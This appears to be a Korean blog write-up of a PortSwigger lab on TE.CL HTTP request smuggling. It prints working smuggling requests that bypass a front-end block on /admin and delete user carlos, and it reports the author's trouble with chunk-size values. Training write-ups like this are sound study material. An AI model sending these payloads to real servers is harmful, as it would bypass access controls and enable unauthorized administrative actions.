개요
- HTTP Request Smuggling 취약점 문제이다.
- 문제 주소: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
- 취약점 설명페이지1: https://portswigger.net/web-security/request-smuggling
- 취약점 설명페이지2: https://portswigger.net/web-security/request-smuggling/exploiting
- 난이도: PRACTITIONER (보통)
랩 개요
- 이 랩은 프론트 엔드 서버와 백엔드 서버로 구성되어 있다. 백엔드서버는 chunked encoding(TE헤더)를 지원하지 않는다.
- 프론트엔드서버는 관리자가 아닌경우
/admin
에 접근하지 못하게 하는 접근 제어를 실시중이다. - 랩을 풀려면 백엔드 서버에게 HTTP요청을 밀반입해서, 관리자 패널(
/admin
)에 접근해 carlos 유저를 삭제하면 된다.
This lab involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
풀이
- 일단 스머글링되는 기본형을 확인한다. TE.CL이다. 응답을 보면 스머글링이 가능해보이는 것을 알 수 있다.
- 스머글링할 요청(
/admin
)도 정상동작여부를 확인해둔다.
- 그러나 시도해보면 왜인지 400응답이 자꾸 회신된다. 어디가 잘못된 것일까?
POST / HTTP/1.1
Host: 0a2700550324837e8371aab800f70000.web-security-academy.net
Cookie: session=ojFinuFtlHO5SJpmG8mqCJFSI9a1RNUX
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 5
a=1
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
0
- 잘 모르겠으므로 답을 본다.
다음과 같은 해답이 실려있다. 놀랍게도 페이로드 부분의 값이 60
일 때는 제대로 동작(스머글링 성공)했다. 페이로드 값에 따라 동작이 달라지는 것 같다. 이건 문제가 잘못되었다고 봐야할 것 같다.
그리고 이유는 모르겠지만 Content-Length의 값도 정확히 10일때는 제대로 동작하지 않았다. 10보다 큰 값일 때는 제대로 동작했다.
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- Host: localhost 헤더를 추가해서 보낸다. 이번에도 해답에 적혀진 것 처럼 페이로드 부분의 값이 71일 때 성공했다…다른 값을 바꾸면 Invalid Request 응답이 돌아온다.😡
- carlos유저를 삭제하는 요청을 보낸다. 성공하면 302응답이 회신되고 문제가 풀렸다는 메세지가 표시된다.
감상
문제를 푸는 접근방법은 맞았다. 문제 서버가 응답을 잘 해줬으면 풀었을 것이다.